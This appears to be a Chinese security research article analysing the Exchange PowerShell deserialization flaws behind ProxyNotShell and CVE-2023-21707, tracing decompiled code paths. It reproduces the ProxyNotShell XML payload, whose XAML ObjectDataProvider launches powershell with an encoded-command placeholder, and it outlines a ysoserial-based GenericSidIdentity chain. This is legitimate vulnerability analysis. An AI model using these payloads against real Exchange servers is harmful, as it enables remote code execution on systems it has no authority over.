Proxynotshell 反序列化及 CVE-2023-21707 漏洞研究
2023-6-27 11:56:0 Author: xz.aliyun.com(查看原文) 阅读量:79 收藏

漏洞原理

流程梳理

先分析一下与 powershell 接口交互的 xml 数据的处理流程。xml 信息传入后,会被 PSSerializer.Deserialize 反序列化后作为 PSObject 类。

// System.Management.Automation.PSObject
private object lockObject = new object();
protected PSObject(SerializationInfo info, StreamingContext context)
{
    if (info == null)
    {
        throw PSTraceSource.NewArgumentNullException("info");
    }
    string text = info.GetValue("CliXml", typeof(string)) as string;
    if (text == null)
    {
        throw PSTraceSource.NewArgumentNullException("info");
    }
    PSObject psobject = PSObject.AsPSObject(PSSerializer.Deserialize(text));
    this.CommonInitialization(psobject.ImmediateBaseObject);
    PSObject.CopyDeserializerFields(psobject, this);
}

其调用链如下

而当 targetTypeForDeserialization 不为空时,ReadOneObject 会继续调用 LanguagePrimitives.ConvertTo 将 obj 转换为指定的类型。

internal object ReadOneObject(out string streamName)
{
    //...
                if (null != targetTypeForDeserialization)
                {
                    Exception ex = null;
                    try
                    {
                        object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable);
                        PSEtwLog.LogAnalyticVerbose(PSEventId.Serializer_RehydrationSuccess, PSOpcode.Rehydration, PSTask.Serialization, PSKeyword.Serializer, new object[]
                        {
                            psobject.InternalTypeNames.Key,
                            targetTypeForDeserialization.FullName,
                            obj2.GetType().FullName
                        });
                        return obj2;
                    }
    //...
}

targetTypeForDeserialization 通过 GetTargetTypeForDeserialization 获取,而 GetTargetTypeForDeserialization 又调用了 GetPSStandardMember。首先调用 TypeTableGetMemberDelegate 根据 this 的类型和 typeTabletypes.ps1xml 找到 PSStandardMembser

internal Type GetTargetTypeForDeserialization(TypeTable backupTypeTable)
{
    PSMemberInfo psstandardMember = this.GetPSStandardMember(backupTypeTable, "TargetTypeForDeserialization");
    if (psstandardMember != null)
    {
        return psstandardMember.Value as Type;
    }
    return null;
}

internal PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName)
{
    PSMemberInfo psmemberInfo = null;
    TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();
    if (typeTable != null)
    {
        PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable, "PSStandardMembers");
        if (psmemberSet != null)
        {
            psmemberSet.ReplicateInstance(this);
            psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName];
        }
    }
    if (psmemberInfo == null)
    {
        psmemberInfo = (this.InstanceMembers["PSStandardMembers"] as PSMemberSet);
    }
    return psmemberInfo;
}

而后调用 GetMemberCollection,一个从 PowerShell 的内部实现中获取 PSMemberInfo 对象集合的方法。它根据给定的 viewType 和从 backupTypeTable 获取对应的 PSMemberInfo 集合。

PSMemberViewTypes 是一个枚举,用来指示获取哪种类型的成员信息。它可以是以下几种:

  • Extended:获取扩展成员,即那些由类型数据表定义的成员。
  • Adapted:获取适配成员,即那些由 PowerShell 适配器添加的成员。
  • Base:获取基础成员,即那些直接从.NET 对象继承的成员。

而调用时使用的是 PSMemberViewTypes.All,这就导致可以通过 extended 或 adapted 属性自定义一个 Type,让 GetTargetTypeForDeserialization 返回自定义的类型,进行反序列化。

internal static Collection<CollectionEntry<PSMemberInfo>> GetMemberCollection(PSMemberViewTypes viewType, TypeTable backupTypeTable)
{
    Collection<CollectionEntry<PSMemberInfo>> collection = new Collection<CollectionEntry<PSMemberInfo>>();
    if ((viewType & PSMemberViewTypes.Extended) == PSMemberViewTypes.Extended)
    {
        if (backupTypeTable == null)
        {
            collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.TypeTableGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.TypeTableGetMemberDelegate<PSMemberInfo>), true, true, "type table members"));
        }
        else
        {
            collection.Add(new CollectionEntry<PSMemberInfo>((PSObject msjObj) => PSObject.TypeTableGetMembersDelegate<PSMemberInfo>(msjObj, backupTypeTable), (PSObject msjObj, string name) => PSObject.TypeTableGetMemberDelegate<PSMemberInfo>(msjObj, backupTypeTable, name), true, true, "type table members"));
        }
    }
    if ((viewType & PSMemberViewTypes.Adapted) == PSMemberViewTypes.Adapted)
    {
        collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.AdapterGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.AdapterGetMemberDelegate<PSMemberInfo>), false, false, "adapted members"));
    }
    if ((viewType & PSMemberViewTypes.Base) == PSMemberViewTypes.Base)
    {
        collection.Add(new CollectionEntry<PSMemberInfo>(new CollectionEntry<PSMemberInfo>.GetMembersDelegate(PSObject.DotNetGetMembersDelegate<PSMemberInfo>), new CollectionEntry<PSMemberInfo>.GetMemberDelegate(PSObject.DotNetGetMemberDelegate<PSMemberInfo>), false, false, "clr members"));
    }
    return collection;
}

ConvertTo gadget 分析

根据 https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf 中关于 LanguagePrimitives.ConvertTo 的分析,可知其有几种可能的利用:

  1. 调用任意包含一个可指定参数的 public 类的 constructor

调用如下

fromTypetoType 即原 obj 类型与 targetTypeForDeserialization 指定 type

  1. 调用可控类的静态 public Parse(string) 方法

调用如下

如下调用了 toType 的 Parse 方法

  1. 执行自定义的 Convert

通过 LanguagePrimitives.FigureConversion 获取对应的 ConverterData,其中包含对应的 Converter,并通过其执行进一步的 Convert 操作

Proxynotshell payload 分析

首先是 proxynotshell 的反序列化部分,情报中公布的 poc 直接修改了 python 的 pypsrp 包进行交互,xml 中还包括了很多其他所需内容。忽略其他信息,关键的类如下。即这个命令的 -Identity: 参数是一个 Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData 类,包含两个属性,其中一个 Type 属性是 TargetTypeForDeserialization 对象。

<Obj N="Args" RefId="12">
  <TNRef RefId="0"/>
  <LST>
    <Obj RefId="13">
      <MS>
        <S N="N">-Identity:</S>
        <Obj N="V" RefId="14">
          <TN RefId="2">
            <T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>
            <T>System.Object</T>
          </TN>
          <ToString>Object</ToString>
          <Props>
            <S N="Name">Type</S>
            <Obj N="TargetTypeForDeserialization">
              <TN RefId="2">
                <T>System.Exception</T>
                <T>System.Object</T>
              </TN>
              <MS>
                <BA N="SerializationData">AAEAAAD /////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
              </MS>
            </Obj>
          </Props>
          <S>
              <![CDATA[<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <ObjectDataProvider.ObjectInstance> <sd:Process> <sd:Process.StartInfo> <sd:ProcessStartInfo Arguments="-e $$POWERSHELL_ENCODE_PAYLOAD_HERE$$" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="powershell" /> </sd:Process.StartInfo> </sd:Process> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider>]]>
          <S/>
        </Obj>
      </MS>
    </Obj>
  </LST>
</Obj>

递归进行反序列化时,TargetTypeForDeserialization 首当其冲。TargetTypeForDeserialization 指定的类型是 System.Exception,这里就是上文中的第三种利用。在 exchange.partial.types.ps1xml 中可以找到其指定的 Converter

找到 Microsoft.Exchange.Data.SerializationTypeConverter,其 convert 操作都调用了 DeserializeObject

private object DeserializeObject(object sourceValue, Type destinationType)
{
    Exception ex = null;
    byte[] array;
    string text;
    if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex))
    {
        throw ex;
    }
    // ...
    try
    {
        using (MemoryStream memoryStream = new MemoryStream(array))
        {
            AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
            try
            {
                int tickCount = Environment.TickCount;
                obj = this.Deserialize(memoryStream);
                // ...
            }
            // ...
}

DeserializeObject 首先调用了 CanConvert,将 SerializationData 的值放到 serializationData 也就是 array 中,而后又赋值给 memoryStream 进行进一步反序列化

private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
{
    // ...
    object value = psobject.Properties["SerializationData"].Value;
    if (!(value is byte[]))
    {
        error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
        return false;
    }
    stringValue = psobject.ToString();
    serializationData = (value as byte[]);
    return true;
}

Deserialize 中生成 BinaryFormatter 对数据进行进一步反序列化,而此处 allowedTypes 即为白名单,其中就包含有 System.UnitySerializationHolder

internal object Deserialize(MemoryStream stream)
{
    bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
    return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream);
}

简单查看序列化的内容 base64 解码即可看出,借用 System.UnitySerializationHolder 反序列化后 FormatInfoData 的 Type 是一个 System.Windows.Markup.XamlReader 实例

而接下来进行进一步反序列化,但由于 types.ps1xml 中并没有指定 FormatInfoData 的相关信息,而根据流程梳理最后部分的叙述可知,此时的 targetTypeForDeserialization 就是其 Type 属性,也就是那个 System.Windows.Markup.XamlReader 实例。而此时再利用 gadget 的第二条,调用其 Parse 方法,解析 xaml 语句即可实现利用启动 powershell 进行 rce

修复:引入了一个 UnitySerializationHolderSurrogateSelector,会在 System.UnitySerializationHolder 反序列化过程中验证目标的类型。因此,Parse(string) 不再可能利用此漏洞进行调用。

CVE-2023-21707 分析

类似于 Proxynotshell 的利用流程,直到调用了 BinaryFormatter 的反序列化。

BinaryFormatter 反序列化的白名单中,又找到了一个特殊的类:Microsoft.Exchange.Security.Authentication.GenericSidIdentity,这个类也在白名单中。

且这个类继承了 ClaimsIdentity 这个著名的.Net 反序列化 gadget 类。

ClaimsIdentityOnDeserializedMethod 中对 m_serializedClaims 进行了二次反序列化

// System.Security.Claims.ClaimsIdentity
[OnDeserialized]
[SecurityCritical]
private void OnDeserializedMethod(StreamingContext context)
{
    if (this is ISerializable)
    {
        return;
    }
    if (!string.IsNullOrEmpty(this.m_serializedClaims))
    {
        this.DeserializeClaims(this.m_serializedClaims);
        this.m_serializedClaims = null;
    }
    this.m_nameType = (string.IsNullOrEmpty(this.m_serializedNameType) ? "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" : this.m_serializedNameType);
    this.m_roleType = (string.IsNullOrEmpty(this.m_serializedRoleType) ? "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" : this.m_serializedRoleType);
}

DeserializeClaims 将数据 base64 解码后同样也使用了 BinaryFormatter 进行进一步反序列化。

// System.Security.Claims.ClaimsIdentity
[SecurityCritical]
private void DeserializeClaims(string serializedClaims)
{
    if (!string.IsNullOrEmpty(serializedClaims))
    {
        using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(serializedClaims)))
        {
            this.m_instanceClaims = (List<Claim>)new BinaryFormatter().Deserialize(memoryStream, null, false);
            for (int i = 0; i < this.m_instanceClaims.Count; i++)
            {
                this.m_instanceClaims[i].Subject = this;
            }
        }
    }
    if (this.m_instanceClaims == null)
    {
        this.m_instanceClaims = new List<Claim>();
    }
}

故首先利用 yso 生成 ClaimsIdentityBinaryFormatter 的反序列化 payload,再将 payload 的 b64 编码数据通过反射放入 ClaimsIdentitym_serializedClaims 中。也就是 Microsoft.Exchange.Security.Authentication.GenericSidIdentitym_serializedClaims 中,再将这个类通过 BinaryFormatter 进行序列化,将序列化结果写入exception的SerializationData,就得到了可用的 payload。这里就不贴代码了。

参考连接:
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend


文章来源: https://xz.aliyun.com/t/12634
如有侵权请联系:admin#unsafe.sh